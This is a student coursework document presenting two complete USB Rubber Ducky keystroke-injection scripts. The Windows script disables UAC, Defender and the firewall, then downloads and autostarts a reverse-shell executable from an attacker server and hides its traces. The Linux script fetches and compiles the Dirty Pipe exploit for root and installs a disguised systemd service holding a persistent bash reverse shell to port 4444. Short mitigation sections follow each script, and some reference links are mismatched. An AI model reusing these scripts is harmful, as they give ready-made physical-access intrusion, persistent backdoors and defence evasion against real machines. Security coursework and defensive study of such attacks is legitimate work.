USB Rubber Ducky Attack Scripts

Using Raspberry Pi Pico

Student Name: D. M. M. Yasith Piyumantha Maha Mohottala

Student ID: 24037399

Attack 1: Windows Privilege Escalation with Reverse Shell

This attack uses short, physical access to an unlocked Windows workstation to set up long-term remote access for the attacker. A USB Rubber Ducky emulates a keyboard, execute PowerShell session, and then turns off key Windows security features, including UAC, Windows Defender real-time protection, and Windows Firewall. Next, it downloads a reverse shell executable from an attacker-controlled web server and saves it in the user's startup folder so it will run automatically and maintain persistence. The script runs the payload to create an immediate connection back to the attacker's command and control server, giving them full access to the system. To reduce evidence of the intrusion, it restores the original security settings and closes any visible windows before finishing. The whole process takes around 30 seconds, leaving the user unaware that the machine is now compromised and accessible through a persistent backdoor.

- **Target System:** Windows 10/11
- **Objective:** Disable security controls, download and execute reverse shell payload, establish persistence

Technique Inspiration: This attack script was inspired by and adapted from multiple community-contributed payloads from the Hak5 USB Rubber Ducky payload repository. (Hak5, 2022, 2023)(yokokho, 2019)

DuckyScript Code:

```
REM |=== Start PowerShell as admin ===|
DELAY 1000
GUI r
DELAY 1000
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 6000
ALT Y
ENTER

REM |=== Hide PowerShell Window ===|
DELAY 2000
ALT SPACE
DELAY 1000
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER

REM |=== Disabling the UAC ===|
DELAY 2000
STRING Set-ItemProperty -Path
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name
ConsentPromptBehaviorAdmin -Value 0
ENTER
DELAY 100

REM |=== Disabling the Real Time Monitoring ===|
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 100
```

```
REM |=== Disabling the Firewall ===|
STRING Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
ENTER
DELAY 100

REM |=== Add Exclusion Path Windows Defender ===|
STRING Set-MpPreference -ExclusionPath
"$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"
ENTER
DELAY 100
STRING $shell = "$home\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\shell.exe"
ENTER
DELAY 100
STRING Invoke-WebRequest -uri http://192.168.5.136:8000/shell.exe -outfile $shell
ENTER
DELAY 200


REM |=== Run .exe and set up Staged TCP reverse shell ===|
STRING start $shell
ENTER
DELAY 100

REM | ============ Clear Path ========|

REM |===Enable the UAC===|
STRING Set-ItemProperty -Path
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name
ConsentPromptBehaviorAdmin -Value 1
ENTER
DELAY 200

REM |===Enable the Real Time Monitoring===|
STRING Set-MpPreference -DisableRealtimeMonitoring $false
ENTER
DELAY 100

REM |===Enalbe the Firewall===|
STRING Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled true
ENTER
DELAY 100

REM |=== Close the terminal window ===|
STRING exit
Enter
```

Mitigations:

Organizations can reduce USB HID attack risk with a few key steps. Enforce USB device whitelisting so only approved keyboards and mice work. Turn on Windows Defender Tamper Protection and use PowerShell Constrained Language Mode to limit script abuse. Deploy EDR to alert on rapid security setting changes and apply screen lock policies to prevent physical access. Finally, enable application whitelisting and PowerShell Script Block Logging, and monitor logs for suspicious changes to UAC and Defender settings.

Attack 2: Linux Dirty Pipe Privilege Escalation

This attack abuses CVE-2022-0847, a critical Linux kernel vulnerability that affects versions 5.8 through 5.16.11. A USB Rubber Ducky opens a terminal, downloads the Dirty Pipe exploit source code from an attacker-controlled web server, compiles it with GCC, and runs it against the /usr/bin/su binary to exploit the kernel's pipe splicing flaw and gain root privileges. After root access is obtained, the attack creates a systemd service that starts automatically at boot and embeds a reverse shell which connects to the attacker's command and control server on port 4444, with automatic reconnection to maintain persistence during network interruptions. Finally, the script clears command history and exits, leaving a stealthy, fully functional backdoor on the compromised host.

- **Target System:** Ubuntu Linux (Kernel 5.8-5.11)
- **CVE:** CVE-2022-0847 (Dirty Pipe)
- **Objective:** Exploit kernel vulnerability for root access, establish systemd persistence backdoor

Exploit Source: This attack utilizes the Dirty Pipe exploit (CVE-2022-0847) originally discovered by Max Kellermann. (Arinerron, 2022; Max Kellermann, 2022)

DuckyScript Code:

```
DEFAULT_DELAY 100

REM |=== Open Terminal ===|
CTRL ALT T
DELAY 1500

REM |=== Clear history ===|
STRING unset HISTFILE
ENTER
DELAY 300

REM |=== Go to /var/tmp (can execute here) ===|
STRING cd /var/tmp
ENTER
DELAY 300

REM |=== Download the Dirty Pipe exploit from YOUR server ===|
STRING wget http://192.168.5.136:8080/dirty.c
ENTER
DELAY 3000

REM |=== Check if download worked ===|
STRING ls -la dirty.c
ENTER
DELAY 500

REM |=== Compile the exploit ===|
STRING gcc dirty.c -o dirty
ENTER
DELAY 2000

REM |=== Check compilation ===|
STRING ls -la dirty
ENTER
DELAY 500
```

```
REM |=== Execute the exploit to get root ===|

STRING ./dirty /usr/bin/su
ENTER
DELAY 3000

REM Become root with sudo
STRING sudo su
ENTER
DELAY 1500

REM |=== Create systemd service ===|
STRING cat > /etc/systemd/system/system-update.service << 'EOF'
ENTER
DELAY 200

STRING [Unit]
ENTER
DELAY 100
STRING Description=System Update Service
ENTER
DELAY 100
STRING After=network.target
ENTER
DELAY 100
STRING [Service]
ENTER
DELAY 100
STRING Type=simple
ENTER
DELAY 100
STRING Restart=always
ENTER
DELAY 100
STRING RestartSec=30
ENTER
DELAY 100
STRING User=root
ENTER
DELAY 100
STRING ExecStart=/bin/bash -c 'while true; do bash -i >&
/dev/tcp/192.168.5.136/4444 0>&1 2>&1; sleep 30; done'
ENTER
DELAY 100
STRING [Install]
ENTER
DELAY 100
STRING WantedBy=multi-user.target
ENTER
DELAY 100
STRING EOF
ENTER
DELAY 500

REM |=== Reload systemd ===|
STRING systemctl daemon-reload
ENTER
DELAY 800
```

```
REM |=== Enable service ===|
STRING systemctl enable system-update.service
ENTER
DELAY 800

REM |=== Start service ===|
STRING systemctl start system-update.service
ENTER
DELAY 1000

REM |=== BACKDOOR ACTIVE Success message ===|
STRING echo "BACKDOOR ACTIVE - Check listener on port 4444"
ENTER
DELAY 1000

REM |=== Exit ===|
STRING exit
ENTER
DELAY 500
STRING exit
ENTER
STRING exit
ENTER
```

Mitigations:

Apply kernel updates to version 5.16 up to remove the Dirty Pipe vulnerability. Use USBGuard to whitelist trusted USB devices and block unauthorized HID peripherals. Enable “SELinux” or “AppArmor” to limit who can create systemd services or change system binaries. Configure “auditd” to alert on changes to setuid binaries and new systemd service files. Block outbound connections on non-standard ports such as *4444* with egress firewall rules and remove or tightly restrict GCC and other development tools on production hosts. Add file integrity monitoring with tools like “AIDE” or “Tripwire” and keep regular vulnerability scanning and patch management in place as core defences.

References

Arinerron (2022) *CVE-2022-0847-DirtyPipe-Exploit*. *Github* [online]. Available from: https://dirtypipe.cm4all.com/ [Accessed 10 December 2025].

Hak5 (2023) *The 3 Second Reverse Shell with a USB Rubber Ducky*. *Hak5 Shop Blog* [online]. Available from: https://shop.hak5.org/blogs/usb-rubber-ducky/the-3-second-reverse-shell-with-a-usb-rubber-ducky [Accessed 10 December 2025].

Hak5 (2022) usbrubberducky-payloads. *Github* [online]. Available from: https://github.com/yokokho/another-rubber-duck-payloads [Accessed 10 December 2025].

Max Kellermann (2022) *The Dirty Pipe Vulnerability*. *cm4all* [online]. Available from: https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit [Accessed 10 December 2025].

yokokho (2019) Another-Rubber-Duck-Payloads. *Github* [online]. Available from: https://github.com/yokokho/Another-Rubber-Duck-Payloads.git [Accessed 10 December 2025].